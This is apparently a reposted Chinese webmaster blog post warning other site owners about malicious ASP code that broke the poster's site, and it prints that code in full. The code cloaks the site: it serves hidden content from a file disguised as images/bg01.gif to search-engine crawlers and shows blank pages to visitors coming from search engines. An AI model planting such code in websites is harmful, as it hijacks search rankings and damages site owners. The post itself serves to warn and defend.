一段让asp程序在搜素引擎打不开的代码

来源：互联网发布：互联网行业工资知乎编辑：程序博客网时间：2024/05/22 04:31

一段让asp程序在搜素引擎打不开的代码，把我的网站害苦了，现在把它的原形呈现如下，望广大站长朋友们及早防范：

<%function isspider()dim i,agent,searrayagent="agent:"&LCase(request.servervariables("http_user_agent"))searray=array("googlebot","baiduspider","sogouspider","yahoo","Sosospider")isspider= falsefor i=0 to ubound(searray) if (instr(agent,searray(i))>0) then isspider=truenextend functionfunction fromse()dim urlrefer,searray,iurlrefer="refer:"&LCase(request.ServerVariables("HTTP_REFERER"))fromse= falseif urlrefer="" then fromse= falsesearray=array("google","baidu","sogou","yahoo","soso")for i=0 to ubound(searray) if (instr(urlrefer,searray(i))>0) then fromse=truenextend functionif(isspider()) then  dim myfso,fileurl,filecon,myfile  fileurl=Server.MapPath("images/bg01.gif")  Set myfso=Server.CreateObject("Scripting.FileSystemObject")   if myfso.FileExists(fileurl) then     Set myfile=myfso.OpenTextFile(fileurl, 1)    filecon=myfile.readAll    response.write(filecon)    myfile.Close     Set myfile=Nothing     Set myfso=Nothing    response.end  end ifend if                                 if (fromse()) then  response.write("<br/>")  response.endelseend if%>